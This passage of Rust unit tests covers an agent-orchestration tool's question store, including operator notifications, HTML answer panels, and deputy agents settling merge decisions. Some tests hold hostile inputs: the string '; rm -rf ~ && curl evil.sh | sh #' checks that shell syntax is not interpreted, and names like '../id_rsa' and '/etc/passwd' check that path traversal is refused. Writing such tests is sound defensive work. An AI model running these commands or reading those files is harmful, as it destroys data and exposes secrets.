2885 let handle = tokio::spawn(async move {
2886 tokio::time::sleep(Duration::from_millis(30)).await;
2887 let mut fresh = writer.get(&id).expect("the question was filed first");
2888 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2889 writer.put(&mut fresh).unwrap();
2890 });
2891
2892 let got = wait_for_owner(
2893 &mut q,
2894 &s,
2895 &quiet(),
2896 Duration::from_secs(5),
2897 Duration::from_millis(10),
2898 )
2899 .await
2900 .unwrap();
2901
2902 handle.await.unwrap();
2903 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2904 assert_eq!(
2905 q.status,
2906 QuestionStatus::Answered,
2907 "the caller's copy is refreshed from the answering process's record"
2908 );
2909 assert!(q.answered_at.is_some());
2910 }
2911
2912 #[tokio::test]
2913 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2914 let (_dir, s) = store();
2915 let mut q = choice_question();
2916
2917 let got = wait_for_owner(
2918 &mut q,
2919 &s,
2920 &quiet(),
2921 Duration::from_millis(60),
2922 Duration::from_millis(10),
2923 )
2924 .await
2925 .unwrap();
2926
2927 assert_eq!(
2928 got,
2929 Wait::Abandoned,
2930 "a slow human is not an error; the run parks"
2931 );
2932 assert_eq!(q.status, QuestionStatus::Abandoned);
2933 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2934 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2935 assert!(
2936 on_disk.detail.contains("Abandoned:"),
2937 "why nobody answered belongs with the question: {}",
2938 on_disk.detail
2939 );
2940 assert!(on_disk.resolution().is_none());
2941 assert_eq!(s.count_open(), 0);
2942 }
2943
2944 #[tokio::test]
2945 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2946 let (_dir, s) = store();
2951 let mut q = choice_question();
2952 s.put(&mut q).unwrap();
2953
2954 let got = wait_loop(
2955 &mut q,
2956 &s,
2957 Duration::from_secs(3600),
2958 Duration::from_millis(30),
2959 Duration::from_millis(10),
2960 )
2961 .await
2962 .unwrap();
2963
2964 assert_eq!(
2965 got,
2966 Wait::Pending,
2967 "the clock on this call ran out, not the owner's patience"
2968 );
2969 assert_eq!(
2970 q.status,
2971 QuestionStatus::Open,
2972 "a slice expiring must never abandon the question"
2973 );
2974 let on_disk = s.get(&q.id).expect("still on disk, still open");
2975 assert_eq!(
2976 on_disk.status,
2977 QuestionStatus::Open,
2978 "nothing about the record changed just because this call gave up"
2979 );
2980 }
2981
2982 #[tokio::test]
2983 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2984 let (dir, s) = store();
2989 let mut q = choice_question();
2990 s.put(&mut q).unwrap();
2991
2992 let first = wait_loop(
2993 &mut q,
2994 &s,
2995 Duration::from_secs(3600),
2996 Duration::from_millis(30),
2997 Duration::from_millis(10),
2998 )
2999 .await
3000 .unwrap();
3001 assert_eq!(first, Wait::Pending);
3002
3003 let id = q.id.clone();
3004 let writer = Questions::at(dir.path().join("questions"));
3005 let mut fresh = writer.get(&id).unwrap();
3006 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3007 writer.put(&mut fresh).unwrap();
3008
3009 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
3014 .await
3015 .unwrap();
3016 assert_eq!(second, Wait::Answered("Redis".to_owned()));
3017 assert_eq!(q.status, QuestionStatus::Answered);
3018 }
3019
3020 #[tokio::test]
3021 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
3022 let (dir, s) = store();
3032 let mut q = choice_question();
3033 s.put(&mut q).unwrap();
3034
3035 let first = wait_loop(
3036 &mut q,
3037 &s,
3038 Duration::from_secs(3600),
3039 Duration::from_millis(30),
3040 Duration::from_millis(10),
3041 )
3042 .await
3043 .unwrap();
3044 assert_eq!(first, Wait::Pending);
3045
3046 let id = q.id.clone();
3048 let writer = Questions::at(dir.path().join("questions"));
3049 let mut fresh = writer.get(&id).unwrap();
3050 fresh.say("why not Postgres?").unwrap();
3051 writer.put(&mut fresh).unwrap();
3052
3053 let mut resumed = s.get(&id).unwrap();
3057 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
3058 .await
3059 .unwrap();
3060 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
3061 assert_eq!(
3062 resumed.status,
3063 QuestionStatus::Open,
3064 "talking back is not a decision; the question stays open"
3065 );
3066 }
3067
3068 #[tokio::test]
3069 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
3070 let (dir, s) = store();
3074 let broken = config::Notify {
3075 command: vec![
3076 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
3077 "{summary}".to_owned(),
3078 ],
3079 };
3080 let mut q = choice_question();
3081 assert!(
3082 notify(&broken, &q).await.is_err(),
3083 "the caller is told; it decides that it does not matter"
3084 );
3085
3086 let id = q.id.clone();
3087 let writer = Questions::at(dir.path().join("questions"));
3088 let handle = tokio::spawn(async move {
3089 tokio::time::sleep(Duration::from_millis(30)).await;
3090 let mut fresh = writer.get(&id).unwrap();
3091 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3092 writer.put(&mut fresh).unwrap();
3093 });
3094 let got = wait_for_owner(
3095 &mut q,
3096 &s,
3097 &broken,
3098 Duration::from_secs(5),
3099 Duration::from_millis(10),
3100 )
3101 .await
3102 .unwrap();
3103 handle.await.unwrap();
3104 assert_eq!(got, Wait::Answered("Redis".to_owned()));
3105
3106 assert!(notify(&quiet(), &q).await.is_ok());
3108 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
3109 }
3110
3111 #[tokio::test]
3112 async fn external_question_notification_names_the_supported_response_path() {
3113 let dir = tempfile::tempdir().unwrap();
3114 let path = dir.path().join("page");
3115 let cmd = config::Notify {
3116 command: vec![
3117 "sh".into(),
3118 "-c".into(),
3119 "printf '%s' \"$1\" > \"$2\"".into(),
3120 "notify".into(),
3121 "{summary}".into(),
3122 path.to_string_lossy().into_owned(),
3123 ],
3124 };
3125 let q = choice_question();
3126 notify(&cmd, &q).await.unwrap();
3127 let sent = std::fs::read_to_string(&path).unwrap();
3128 assert!(sent.starts_with("Question "));
3129 assert!(sent.contains(&q.summary));
3130 assert!(sent.contains(&format!("magi answer {}", q.id)));
3131 notify_text(&cmd, "", "Informational report. No reply needed.")
3132 .await
3133 .unwrap();
3134 assert_eq!(
3135 std::fs::read_to_string(&path).unwrap(),
3136 "Informational report. No reply needed."
3137 );
3138 }
3139
3140 #[test]
3141 fn external_notifications_and_questions_have_distinct_destinations() {
3142 assert_eq!(
3143 question_url("https://example.invalid/"),
3144 "https://example.invalid/#/questions"
3145 );
3146 assert_eq!(
3147 view_url("https://example.invalid/", "notifications"),
3148 "https://example.invalid/#/notifications"
3149 );
3150 assert_eq!(view_url("", "notifications"), "");
3151 assert_eq!(
3152 view_url("https://example.invalid/#/queue", "notifications"),
3153 "https://example.invalid/#/queue"
3154 );
3155 }
3156
3157 #[test]
3158 fn notification_arguments_are_substituted_and_never_a_shell_string() {
3159 let mut q = choice_question();
3160 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
3161 let template = [
3162 "ntfy".to_owned(),
3163 "publish".to_owned(),
3164 "--click".to_owned(),
3165 "{url}".to_owned(),
3166 "--title".to_owned(),
3167 "magi {run} needs you".to_owned(),
3168 "{summary}".to_owned(),
3169 ];
3170 let argv: Vec<String> = template
3171 .iter()
3172 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
3173 .collect();
3174
3175 assert_eq!(
3176 argv,
3177 [
3178 "ntfy",
3179 "publish",
3180 "--click",
3181 "http://100.64.0.1:7777/#/questions",
3182 "--title",
3183 "magi 20260902-201256-9fb7 needs you",
3184 "; rm -rf ~ && curl evil.sh | sh #",
3185 ],
3186 "the shell metacharacters are one argument's contents, not syntax"
3187 );
3188
3189 q.summary = "should {url} be configurable?".to_owned();
3192 assert_eq!(
3193 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3194 "should {url} be configurable?"
3195 );
3196 assert_eq!(
3198 expand("{title}: {run}", &q.run, &q.summary, ""),
3199 "{title}: 20260902-201256-9fb7"
3200 );
3201 assert_eq!(
3202 expand("no placeholders", &q.run, &q.summary, "http://x"),
3203 "no placeholders"
3204 );
3205 }
3206
3207 #[test]
3208 fn the_notification_link_lands_on_the_view_that_can_answer() {
3209 assert_eq!(
3210 question_url("http://100.64.0.1:7777"),
3211 "http://100.64.0.1:7777/#/questions"
3212 );
3213 assert_eq!(
3214 question_url("http://100.64.0.1:7777/"),
3215 "http://100.64.0.1:7777/#/questions"
3216 );
3217 assert_eq!(
3219 question_url("http://magi.ts.net/#/runs"),
3220 "http://magi.ts.net/#/runs"
3221 );
3222 assert_eq!(question_url(" "), "");
3224 }
3225
3226 fn panelled() -> Question {
3228 let mut q = choice_question();
3229 q.id = "20260903-014455-ab12".to_owned();
3230 q
3231 }
3232
3233 #[test]
3234 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3235 let (dir, s) = store();
3236 let work = dir.path().join("worktree");
3237 std::fs::create_dir_all(&work).unwrap();
3238 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3239 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3240
3241 let mut q = panelled();
3242 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3243 s.put_panel(
3244 &mut q,
3245 html,
3246 &[work.join("table.png"), work.join("diff.svg")],
3247 )
3248 .unwrap();
3249 s.put(&mut q).unwrap();
3250
3251 assert!(q.panel);
3252 assert_eq!(
3253 q.assets,
3254 ["diff.svg", "table.png"],
3255 "sorted, not in the order the agent happened to pass them"
3256 );
3257 assert_eq!(
3258 s.panel_html(&q.id).as_deref(),
3259 Some(html),
3260 "the html is stored byte for byte; the agent authored the markup"
3261 );
3262 assert_eq!(
3263 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3264 Some(&b"<svg/>"[..])
3265 );
3266
3267 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3269 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3270 assert_eq!(json["panel"], true);
3271 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3272 let back = s.get(&q.id).unwrap();
3273 assert!(back.panel);
3274 assert_eq!(back.assets, q.assets);
3275
3276 std::fs::remove_dir_all(&work).unwrap();
3279 assert_eq!(
3280 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3281 Some(&b"\x89PNG"[..]),
3282 "a referenced asset would be gone with the worktree"
3283 );
3284 }
3285
3286 #[test]
3287 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3288 let (dir, s) = store();
3289 let mut q = panelled();
3290 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3291 s.put(&mut q).unwrap();
3292
3293 let secret = "this must never reach the browser";
3296 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3297 assert_eq!(
3298 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3299 secret,
3300 "the traversal is real: the operating system resolves this path \
3301 happily, which is why the name has to be refused before the join"
3302 );
3303
3304 let long = "x".repeat(200);
3305 for name in [
3306 "..",
3307 "../id_rsa",
3308 "..\\id_rsa",
3309 "sub/../id_rsa",
3310 "/",
3311 "\\",
3312 "/etc/passwd",
3313 "C:\\Windows\\win.ini",
3314 "",
3315 ".hidden",
3316 ".",
3317 long.as_str(),
3318 ] {
3319 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3320 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3321 assert!(
3322 e.contains("not a panel file name"),
3323 "`{name}` must be refused as a name, not attempted: {e}"
3324 );
3325 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3326 }
3327 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3330
3331 let hidden = dir.path().join(".hidden");
3334 std::fs::write(&hidden, "x").unwrap();
3335 let e = s
3336 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3337 .unwrap_err()
3338 .to_string();
3339 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3340 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3341 assert!(q.assets.is_empty());
3342 }
3343
3344 #[test]
3345 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3346 let (dir, s) = store();
3347 let mut q = panelled();
3348 s.put(&mut q).unwrap();
3349
3350 let big = dir.path().join("recording.png");
3353 std::fs::File::create(&big)
3354 .unwrap()
3355 .set_len(PANEL_MAX_BYTES)
3356 .unwrap();
3357
3358 let html = "<p>see the recording</p>";
3359 let total = PANEL_MAX_BYTES + html.len() as u64;
3360 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3361 assert!(
3362 e.contains(&PANEL_MAX_BYTES.to_string()),
3363 "the cap is named so the agent knows the limit: {e}"
3364 );
3365 assert!(
3366 e.contains(&total.to_string()),
3367 "the actual size is named so the agent knows by how much: {e}"
3368 );
3369
3370 assert!(!q.panel);
3371 assert!(q.assets.is_empty());
3372 let left: Vec<String> = std::fs::read_dir(s.root())
3373 .unwrap()
3374 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3375 .collect();
3376 assert_eq!(
3377 left,
3378 [format!("{}.json", q.id)],
3379 "a refused panel leaves neither a directory nor scratch: {left:?}"
3380 );
3381 }
3382
3383 #[test]
3384 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3385 let (dir, s) = store();
3386 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3387 std::fs::create_dir_all(&before).unwrap();
3388 std::fs::create_dir_all(&after).unwrap();
3389 std::fs::write(before.join("diff.png"), "before").unwrap();
3390 std::fs::write(after.join("diff.png"), "after").unwrap();
3391
3392 let mut q = panelled();
3393 let e = s
3394 .put_panel(
3395 &mut q,
3396 "<p>x</p>",
3397 &[before.join("diff.png"), after.join("diff.png")],
3398 )
3399 .unwrap_err()
3400 .to_string();
3401 assert!(e.contains("diff.png"), "{e}");
3402 assert!(
3403 e.contains("before") && e.contains("after"),
3404 "both sources are named, because the fix is to rename one: {e}"
3405 );
3406 assert!(!q.panel);
3407 assert!(!s.panel_dir(&q.id).exists());
3408 }
3409
3410 #[test]
3411 fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3412 let (_dir, s) = store();
3413 let barrier = std::sync::Barrier::new(8);
3414 let ids = std::thread::scope(|scope| {
3415 let handles: Vec<_> = (0..8)
3416 .map(|worker| {
3417 let s = &s;
3418 let barrier = &barrier;
3419 scope.spawn(move || {
3420 barrier.wait();
3421 (0..16)
3422 .map(|index| {
3423 let mut q = choice_question();
3424 q.id = new_id_at("20261020-224346", 0xf8ef);
3427 q.summary = format!("worker {worker}, question {index}");
3428 assert!(valid_asset_name(&q.id));
3429 assert_eq!(q.short(), "f8ef");
3430 let html = format!("<p>{}</p>", q.summary);
3431 s.put_panel(&mut q, &html, &[]).unwrap();
3432 s.put(&mut q).unwrap();
3433 (q.id, q.summary, html)
3434 })
3435 .collect::<Vec<_>>()
3436 })
3437 })
3438 .collect();
3439 handles
3440 .into_iter()
3441 .flat_map(|handle| handle.join().unwrap())
3442 .collect::<Vec<_>>()
3443 });
3444 assert_eq!(s.list().len(), ids.len());
3445 for (id, summary, html) in ids {
3446 assert_eq!(s.get(&id).unwrap().summary, summary);
3447 assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3448 }
3449 }
3450
3451 #[test]
3452 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3453 let (dir, s) = store();
3454 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3455 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3456
3457 let mut q = panelled();
3458 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3459 .unwrap();
3460 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3461 .unwrap();
3462
3463 assert_eq!(q.assets, ["new.png"]);
3464 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3465 assert!(
3466 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3467 "an asset from the first attempt would show a mix of two answers"
3468 );
3469
3470 s.drop_panel(&q.id).unwrap();
3471 assert!(s.panel_html(&q.id).is_none());
3472 assert!(!s.panel_dir(&q.id).exists());
3473 s.drop_panel(&q.id)
3474 .expect("dropping a panel that is already gone is the desired state");
3475 }
3476
3477 #[test]
3478 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3479 let (_dir, s) = store();
3480 let mut q = panelled();
3481 s.put(&mut q).unwrap();
3482
3483 assert!(!q.panel);
3484 assert!(s.panel_html(&q.id).is_none());
3485 assert!(
3486 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3487 "a missing file is a 404 for the caller, not a failure of the store"
3488 );
3489 let json = serde_json::to_value(&q).unwrap();
3490 assert_eq!(json["panel"], false);
3491 assert_eq!(json["assets"], serde_json::json!([]));
3492
3493 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3496 assert!(e.contains("empty panel"), "{e}");
3497 assert!(!s.panel_dir(&q.id).exists());
3498 }
3499
3500 #[test]
3501 fn a_question_written_before_panels_existed_still_deserialises() {
3502 let (_dir, s) = store();
3503 std::fs::create_dir_all(s.root()).unwrap();
3504 let id = "20260902-231501-ab12";
3505 let body = r#"{
3507 "schema": 1,
3508 "id": "20260902-231501-ab12",
3509 "run": "20260902-201256-9fb7",
3510 "node": "implement",
3511 "seat": "impl-A",
3512 "summary": "Which storage backend should the cache use?",
3513 "detail": "Both are already dependencies.",
3514 "choices": ["SQLite", "Redis"],
3515 "status": "open",
3516 "asked_at": "2026-09-02T23:15:01Z",
3517 "answered_at": null,
3518 "answer": null
3519}"#;
3520 std::fs::write(s.path_of(id), body).unwrap();
3521
3522 let q = s.get(id).unwrap();
3523 assert!(
3524 !q.panel,
3525 "an absent field means no panel, not a parse error"
3526 );
3527 assert!(q.assets.is_empty());
3528 assert_eq!(q.schema, 1);
3533 assert!(q.thread.is_empty());
3534 assert_eq!(
3535 q.answer_timeout, 0,
3536 "an absent field means unrecorded, not a zero-second deadline"
3537 );
3538 assert!(!q.waiting_on_agent());
3539 assert_eq!(q.summary, "Which storage backend should the cache use?");
3540 assert_eq!(
3541 s.list().len(),
3542 1,
3543 "and it is still listed; skipping it would hide an open question"
3544 );
3545 }
3546
3547 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3548 Turn {
3549 who,
3550 body: body.to_owned(),
3551 at,
3552 note: None,
3553 }
3554 }
3555
3556 #[test]
3557 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3558 let mut q = choice_question();
3561 q.thread
3562 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3563 let value = serde_json::to_value(&q.thread[0]).unwrap();
3564 let mut keys: Vec<&str> = value
3565 .as_object()
3566 .unwrap()
3567 .keys()
3568 .map(String::as_str)
3569 .collect();
3570 keys.sort_unstable();
3571 assert_eq!(keys, ["at", "body", "who"]);
3572 assert_eq!(value["who"], "operator");
3573 assert_eq!(value["body"], "why not Postgres?");
3574
3575 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3576 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3577 assert_eq!(parsed.who, Who::Agent);
3578 }
3579
3580 fn approval_question() -> Question {
3581 let mut q = Question::new(
3582 "run".into(),
3583 crate::land::APPROVAL_NODE.into(),
3584 "land".into(),
3585 "Merge?".into(),
3586 String::new(),
3587 vec!["merge".into(), "hold".into()],
3588 );
3589 let mut dep = Deputy::new("brief".into());
3590 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3591 q.deputy = Some(dep);
3592 q
3593 }
3594
3595 #[test]
3596 fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3597 let target = || crate::merge_decision::Target {
3598 pr: "PR 42".into(),
3599 head: "abc".into(),
3600 language: "en".into(),
3601 };
3602 let mut q = approval_question();
3604 q.merge_target = Some(target());
3605 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3606 .unwrap();
3607 q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3608 .unwrap();
3609 assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3610 assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3611 for choice in [
3613 crate::land::HOLD,
3614 crate::land::REPAIR,
3615 crate::merge_decision::WITHDRAW,
3616 "reimplement:beta",
3617 ] {
3618 let mut q = approval_question();
3619 q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3620 q.merge_target = Some(target());
3621 q.say("ちょっと待って、そっちでお願い").unwrap();
3622 q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3623 .unwrap();
3624 assert_eq!(q.resolution().as_deref(), Some(choice));
3625 }
3626 let mut release = Question::new(
3628 String::new(),
3629 crate::bump::NOTICE_NODE.into(),
3630 "release-watch".into(),
3631 "Release?".into(),
3632 String::new(),
3633 vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3634 );
3635 release.deputy = approval_question().deputy;
3636 release.say("リリースしていいよ").unwrap();
3637 release
3638 .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3639 .unwrap();
3640 assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3641 }
3642
3643 #[test]
3644 fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3645 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3646 for choice in [POST_ORIGINAL, USE_REWRITE] {
3647 let mut q = Question::new(
3648 "run".into(),
3649 ASK_NODE.into(),
3650 ASK_SEAT.into(),
3651 "s".into(),
3652 String::new(),
3653 vec![USE_FALLBACK.into(), choice.into()],
3654 );
3655 q.deputy = approval_question().deputy;
3656 q.say("それでいいよ、投稿して").unwrap();
3657 q.settle_by_deputy("deputy-x", choice, None).unwrap();
3658 assert_eq!(q.resolution().as_deref(), Some(choice));
3659 }
3660 let mut discard = approval_question();
3661 discard.node = "recovery".into();
3662 discard.choices.push("discard".into());
3663 discard.actions.insert("discard".into(), ChoiceAction::Done);
3664 discard.say("おっけーそれぞれ回答してー").unwrap();
3665 discard
3666 .settle_by_deputy("deputy-x", "discard", None)
3667 .unwrap();
3668 assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3669 }
3670
3671 #[test]
3672 fn hold_may_carry_the_hold_effect_but_no_other_action() {
3673 let mut q = choice_question();
3674 q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3675 q.actions
3676 .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3677 q.clone()
3678 .answer(Answer::Choice(crate::land::HOLD.into()))
3679 .unwrap();
3680 q.actions
3681 .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3682 assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3683 }
3684
3685 fn settle_ready() -> Question {
3686 let mut q = Question::new(
3687 "task".to_owned(),
3688 "conduct".to_owned(),
3689 "conduct".to_owned(),
3690 "Done?".to_owned(),
3691 String::new(),
3692 vec!["yes".to_owned(), "no".to_owned()],
3693 );
3694 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3695 seat.turns = 1;
3696 let mut dep = Deputy::new("brief".to_owned());
3697 dep.seat = Some(seat);
3698 q.deputy = Some(dep);
3699 q.say("setup done, and file a follow-up").unwrap();
3700 q
3701 }
3702
3703 #[test]
3704 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3705 let dir = tempfile::TempDir::new().unwrap();
3706 let store = Questions::at(dir.path().join("questions"));
3707 let mut q = settle_ready();
3708 let id = q.id.clone();
3709 store.put(&mut q).unwrap();
3710 store
3711 .update(&id, |q| {
3712 q.settle_by_deputy("deputy-x", "yes", Some(" no follow-up was queued "))
3713 })
3714 .unwrap();
3715 let back = store.get(&id).unwrap();
3716 let turn = back.thread.last().unwrap();
3717 assert_eq!(turn.who, Who::Agent);
3718 assert!(turn.body.starts_with("Settled as `yes`"));
3719 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3720 assert_eq!(back.thread[0].note, None);
3721 }
3722
3723 #[test]
3724 fn an_empty_or_blank_settle_note_is_no_note() {
3725 for note in [None, Some(""), Some(" \n ")] {
3726 let mut q = settle_ready();
3727 q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3728 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3729 let json = serde_json::to_string(&q).unwrap();
3730 assert!(!json.contains("\"note\""), "no key when there is none");
3731 }
3732 }
3733
3734 #[test]
3735 fn a_refused_settle_leaves_no_note_behind() {
3736 let mut q = settle_ready();
3737 let before = q.thread.clone();
3738 assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3739 assert!(
3740 q.settle_by_deputy("someone-else", "yes", Some("n"))
3741 .is_err()
3742 );
3743 assert_eq!(q.thread, before);
3744 assert_eq!(q.status, QuestionStatus::Open);
3745 }
3746
3747 #[test]
3748 fn a_turn_written_before_notes_existed_still_reads() {
3749 let t: Turn =
3750 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3751 .unwrap();
3752 assert_eq!(t.note, None);
3753 }
3754
3755 #[test]
3756 fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3757 let mut q = Question::new(
3758 "task".to_owned(),
3759 "conduct".to_owned(),
3760 "conduct".to_owned(),
3761 "Done?".to_owned(),
3762 String::new(),
3763 vec!["yes".to_owned(), "no".to_owned()],
3764 );
3765 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3766 seat.turns = 1;
3767 let mut dep = Deputy::new("brief".to_owned());
3768 dep.seat = Some(seat);
3769 q.deputy = Some(dep);
3770 q.say("setup done, go ahead").unwrap();
3771
3772 assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3773 assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3774 let mut routed = q.clone();
3775 routed.routed_task = Some("task".into());
3776 assert!(
3777 routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3778 "a routed decision belongs to the task chat"
3779 );
3780 assert_eq!(q.status, QuestionStatus::Open);
3781
3782 q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3783 assert_eq!(q.status, QuestionStatus::Answered);
3784 assert_eq!(q.resolution().as_deref(), Some("yes"));
3785 let last = q.thread.last().unwrap();
3786 assert_eq!(last.who, Who::Agent);
3787 assert!(last.body.starts_with("Settled as `yes`"));
3788 let turns = q.thread.len();
3789 assert!(
3790 q.settle_by_deputy("deputy-x", "no", None).is_err(),
3791 "a settled question is not settled twice"
3792 );
3793 assert_eq!(q.thread.len(), turns);
3794 }
3795
3796 #[test]
3797 fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3798 let q = choice_question();
3799 let mut v = serde_json::to_value(&q).unwrap();
3800 v["answer_authority"] = serde_json::json!({
3801 "talk": "talk", "turn": 0, "message": 0,
3802 "instruction": "id: use my text fp\nA title",
3803 "instruction_fingerprint": "f", "recommendation_turn": null,
3804 "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
3805 "question_fingerprint": "g", "recovery_interpretation": "r"
3806 });
3807 let back: Question = serde_json::from_value(v).unwrap();
3808 let legacy = back.answer_authority.as_ref().unwrap();
3809 assert_eq!(legacy.question, q.id);
3810 assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3811 let written = serde_json::to_value(&back).unwrap();
3814 assert_eq!(
3815 written["answer_authority"],
3816 serde_json::json!({
3817 "question": q.id, "choice": "SQLite",
3818 "instruction": "id: use my text fp\nA title"
3819 })
3820 );
3821 let again: Question = serde_json::from_value(written).unwrap();
3822 assert_eq!(again.answer_authority, back.answer_authority);
3823 assert!(
3824 serde_json::to_value(&q)
3825 .unwrap()
3826 .get("answer_authority")
3827 .is_none()
3828 );
3829 }
3830
3831 #[test]
3832 fn a_question_written_before_deputies_still_reads() {
3833 let mut q = Question::new(
3834 "task".to_owned(),
3835 "conduct".to_owned(),
3836 "conduct".to_owned(),
3837 "Done?".to_owned(),
3838 String::new(),
3839 Vec::new(),
3840 );
3841 q.schema = 4;
3842 let mut v = serde_json::to_value(&q).unwrap();
3843 v.as_object_mut().unwrap().remove("deputy");
3844 let back: Question = serde_json::from_value(v).unwrap();
3845 assert!(back.deputy.is_none());
3846 }
3847
3848 #[test]
3849 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3850 let mut q = choice_question();
3851 q.say("does the cache need eviction?").unwrap();
3852 assert_eq!(q.thread.len(), 1);
3853 assert_eq!(q.thread[0].who, Who::Operator);
3854 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3855 assert_eq!(q.status, QuestionStatus::Open);
3858 assert!(q.answer.is_none());
3859 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3860 }
3861
3862 #[test]
3863 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3864 let mut answered = choice_question();
3865 answered
3866 .answer(Answer::Choice("SQLite".to_owned()))
3867 .unwrap();
3868 let a = answered.say("still there?").unwrap_err().to_string();
3869 assert!(a.contains("already answered"), "{a}");
3870 let b = answered
3871 .reply("still there?", vec![])
3872 .unwrap_err()
3873 .to_string();
3874 assert!(b.contains("already answered"), "{b}");
3875
3876 let mut abandoned = choice_question();
3877 abandoned.abandon("timed out");
3878 let c = abandoned.say("hello?").unwrap_err().to_string();
3879 assert!(c.contains("abandoned"), "{c}");
3880
3881 let mut open = choice_question();
3882 let d = open.say(" ").unwrap_err().to_string();
3883 assert!(d.contains("empty"), "{d}");
